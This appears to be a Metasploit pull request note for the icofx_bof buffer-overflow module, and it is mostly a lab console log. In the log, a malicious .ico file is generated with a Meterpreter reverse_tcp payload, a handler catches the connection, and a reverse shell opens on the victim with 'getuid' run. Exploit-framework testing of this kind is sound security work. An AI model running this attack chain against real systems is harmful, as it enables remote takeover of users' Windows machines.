Make things random on icofx_bof

Forgot to random things, we're not debugging anymore.

Verification
-------

- [x] Test the exploit like in #2816, it should be working as before.

```
msf exploit(icofx_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(icofx_bof) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(icofx_bof) > rexploit
[*] Reloading module...

[*] Creating 'msf.ico' file...
[+] msf.ico stored at /Users/juan/.msf4/local/msf.ico
msf exploit(icofx_bof) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:50128) at 2013-12-31 16:06:11 -0600

meterpreter > getuid
eServer username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > exit -y
```